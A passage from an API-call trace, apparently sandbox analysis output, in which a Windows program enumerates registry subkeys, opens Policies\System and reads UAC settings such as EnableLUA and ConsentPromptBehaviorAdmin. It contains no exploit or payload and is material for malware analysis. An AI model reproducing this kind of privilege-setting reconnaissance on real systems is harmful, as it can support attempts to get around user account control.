cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netcache", lpUsedDefaultChar=0x0) returned 8 [0031.260] RegEnumKeyW (in: hKey=0x34, dwIndex=0x20, lpName=0x1d7b930, cchName=0x104 | out: lpName="OEMInformation") returned 0x0 [0031.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0031.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x1d7c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oeminformation", lpUsedDefaultChar=0x0) returned 14 [0031.261] RegEnumKeyW (in: hKey=0x34, dwIndex=0x21, lpName=0x1d7b930, cchName=0x104 | out: lpName="OOBE") returned 0x0 [0031.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0031.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x1d7c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oobe", lpUsedDefaultChar=0x0) returned 4 [0031.261] RegEnumKeyW (in: hKey=0x34, dwIndex=0x22, lpName=0x1d7b930, cchName=0x104 | out: lpName="OptimalLayout") returned 0x0 [0031.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0031.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x1d7c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="optimallayout", lpUsedDefaultChar=0x0) returned 13 [0031.261] RegEnumKeyW (in: hKey=0x34, dwIndex=0x23, lpName=0x1d7b930, cchName=0x104 | out: lpName="Parental Controls") returned 0x0 [0031.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0031.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x1d7c0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="parental controls", lpUsedDefaultChar=0x0) returned 17 [0031.261] RegEnumKeyW (in: hKey=0x34, dwIndex=0x24, lpName=0x1d7b930, cchName=0x104 | out: lpName="Personalization") returned 0x0 [0031.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0031.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x1d7c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="personalization", lpUsedDefaultChar=0x0) returned 15 [0031.261] RegEnumKeyW (in: hKey=0x34, dwIndex=0x25, lpName=0x1d7b930, cchName=0x104 | out: lpName="PhotoPropertyHandler") returned 0x0 [0031.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0031.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x1d7c0d8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photopropertyhandler", lpUsedDefaultChar=0x0) returned 20 [0031.261] RegEnumKeyW (in: hKey=0x34, dwIndex=0x26, lpName=0x1d7b930, cchName=0x104 | out: lpName="PnPSysprep") returned 0x0 [0031.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0031.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x1d7c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pnpsysprep", lpUsedDefaultChar=0x0) returned 10 [0031.261] RegEnumKeyW (in: hKey=0x34, dwIndex=0x27, lpName=0x1d7b930, cchName=0x104 | out: lpName="Policies") returned 0x0 [0031.261] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0031.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x1d7c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0031.262] RegOpenKeyExW (in: hKey=0x34, lpSubKey="Policies", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x90) returned 0x0 [0031.262] RegCloseKey (hKey=0x34) returned 0x0 [0031.262] RegEnumKeyW (in: hKey=0x90, dwIndex=0x0, lpName=0x1d7b930, cchName=0x104 | out: lpName="ActiveDesktop") returned 0x0 [0031.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0031.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x1d7c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="activedesktop", lpUsedDefaultChar=0x0) returned 13 [0031.262] RegEnumKeyW (in: hKey=0x90, dwIndex=0x1, lpName=0x1d7b930, cchName=0x104 | out: lpName="Attachments") returned 0x0 [0031.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0031.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x1d7c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="attachments", lpUsedDefaultChar=0x0) returned 11 [0031.262] RegEnumKeyW (in: hKey=0x90, dwIndex=0x2, lpName=0x1d7b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0031.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0031.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", cchWideChar=8, lpMultiByteStr=0x1d7c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="explorer", lpUsedDefaultChar=0x0) returned 8 [0031.262] RegEnumKeyW (in: hKey=0x90, dwIndex=0x3, lpName=0x1d7b930, cchName=0x104 | out: lpName="NonEnum") returned 0x0 [0031.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0031.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="nonenum", cchWideChar=7, lpMultiByteStr=0x1d7c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nonenum", lpUsedDefaultChar=0x0) returned 7 [0031.262] RegEnumKeyW (in: hKey=0x90, dwIndex=0x4, lpName=0x1d7b930, cchName=0x104 | out: lpName="System") returned 0x0 [0031.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0031.262] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x1d7c120, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0031.262] RegOpenKeyExW (in: hKey=0x90, lpSubKey="System", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0x34) returned 0x0 [0031.262] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7b930) returned 1 [0031.262] RegCloseKey (hKey=0x90) returned 0x0 [0031.263] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7b860) returned 1 [0031.263] RegEnumValueA (in: hKey=0x34, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0031.263] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x10) returned 0x1d7b860 [0031.263] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7b878 [0031.263] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c0d8 [0031.263] RegEnumValueA (in: hKey=0x34, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0031.263] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7b888 [0031.263] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c120 [0031.263] RegEnumValueA (in: hKey=0x34, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0031.263] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7b898 [0031.263] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c168 [0031.263] RegEnumValueA (in: hKey=0x34, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0031.263] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7b930 [0031.263] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c1b0 [0031.263] RegEnumValueA (in: hKey=0x34, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0031.263] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x20) returned 0x1d7b940 [0031.263] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7b860) returned 1 [0031.263] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7b860 [0031.263] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c1f8 [0031.263] RegEnumValueA (in: hKey=0x34, dwIndex=0x5, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0031.263] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7b968 [0031.263] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c240 [0031.263] RegEnumValueA (in: hKey=0x34, dwIndex=0x6, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0031.264] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7b978 [0031.264] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c288 [0031.264] RegEnumValueA (in: hKey=0x34, dwIndex=0x7, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0031.264] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7b988 [0031.264] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c2d0 [0031.264] RegEnumValueA (in: hKey=0x34, dwIndex=0x8, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0031.264] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x30) returned 0x1d7b998 [0031.264] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7b940) returned 1 [0031.264] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7b940 [0031.264] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c318 [0031.264] RegEnumValueA (in: hKey=0x34, dwIndex=0x9, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0031.264] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7b950 [0031.264] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c360 [0031.264] RegEnumValueA (in: hKey=0x34, dwIndex=0xa, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0031.264] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7b9d0 [0031.264] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c3a8 [0031.264] RegEnumValueA (in: hKey=0x34, dwIndex=0xb, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0031.264] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7b9e0 [0031.264] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c3f0 [0031.264] RegEnumValueA (in: hKey=0x34, dwIndex=0xc, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0031.264] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c438 [0031.264] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7b998) returned 1 [0031.264] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7b998 [0031.264] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c480 [0031.264] RegEnumValueA (in: hKey=0x34, dwIndex=0xd, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0031.264] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7b9a8 [0031.264] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c4c8 [0031.264] RegEnumValueA (in: hKey=0x34, dwIndex=0xe, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0031.264] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7b9b8 [0031.264] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c510 [0031.264] RegEnumValueA (in: hKey=0x34, dwIndex=0xf, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0031.265] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7b9f0 [0031.265] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c558 [0031.265] RegEnumValueA (in: hKey=0x34, dwIndex=0x10, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0031.265] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c5a0 [0031.265] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c5a0) returned 1 [0031.265] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c5a0 [0031.265] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c5a0) returned 1 [0031.265] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c5a0 [0031.265] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c5a0) returned 1 [0031.265] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c5a0 [0031.265] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c5a0) returned 1 [0031.265] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c5a0 [0031.265] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c0d8) returned 1 [0031.265] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7b878) returned 1 [0031.265] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c120) returned 1 [0031.265] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7b888) returned 1 [0031.265] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c168) returned 1 [0031.265] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7b898) returned 1 [0031.265] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c1b0) returned 1 [0031.265] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7b930) returned 1 [0031.265] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c1f8) returned 1 [0031.265] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7b860) returned 1 [0031.265] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c240) returned 1 [0031.265] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7b968) returned 1 [0031.265] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c288) returned 1 [0031.265] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7b978) returned 1 [0031.265] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c2d0) returned 1 [0031.265] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7b988) returned 1 [0031.265] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c318) returned 1 [0031.265] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7b940) returned 1 [0031.265] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c360) returned 1 [0031.265] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7b950) returned 1 [0031.265] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c3a8) returned 1 [0031.265] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7b9d0) returned 1 [0031.265] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c3f0) returned 1 [0031.265] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7b9e0) returned 1 [0031.265] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c480) returned 1 [0031.266] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7b998) returned 1 [0031.266] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c4c8) returned 1 [0031.266] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7b9a8) returned 1 [0031.266] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c510) returned 1 [0031.266] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7b9b8) returned 1 [0031.266] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c558) returned 1 [0031.266] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7b9f0) returned 1 [0031.266] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c438) returned 1 [0031.266] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c438 [0031.266] RegQueryValueExA (in: hKey=0x34, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18fb9c, lpData=0x0, lpcbData=0x18fba4*=0x0 | out: lpType=0x18fb9c*=0x4, lpData=0x0, lpcbData=0x18fba4*=0x4) returned 0x0 [0031.266] RegQueryValueExA (in: hKey=0x34, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x18fb9c, lpData=0x1d7c438, lpcbData=0x18fba4*=0x4 | out: lpType=0x18fb9c*=0x4, lpData=0x1d7c438*=0x1, lpcbData=0x18fba4*=0x4) returned 0x0 [0031.266] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c438) returned 1 [0031.266] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, BaseAddress=0x1d7c5a0) returned 1 [0031.266] RegEnumValueA (in: hKey=0x34, dwIndex=0x0, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0031.266] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x10) returned 0x1d7b860 [0031.266] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7b878 [0031.266] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c5a0 [0031.266] RegEnumValueA (in: hKey=0x34, dwIndex=0x1, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0031.266] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7b888 [0031.266] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c438 [0031.266] RegEnumValueA (in: hKey=0x34, dwIndex=0x2, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0031.266] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7b898 [0031.266] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c558 [0031.266] RegEnumValueA (in: hKey=0x34, dwIndex=0x3, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0031.266] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x8) returned 0x1d7b930 [0031.266] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x40) returned 0x1d7c510 [0031.266] RegEnumValueA (in: hKey=0x34, dwIndex=0x4, lpValueName=0x18fa90, lpcchValueName=0x18fa8c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x18fa8c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0031.266] RtlAllocateHeap (HeapHandle=0x1d70000, Flags=0x8, Size=0x20) returned 0x1d7b940 [0031.266] RtlFreeHeap (HeapHandle=0x1d70000, Flags=0x0, 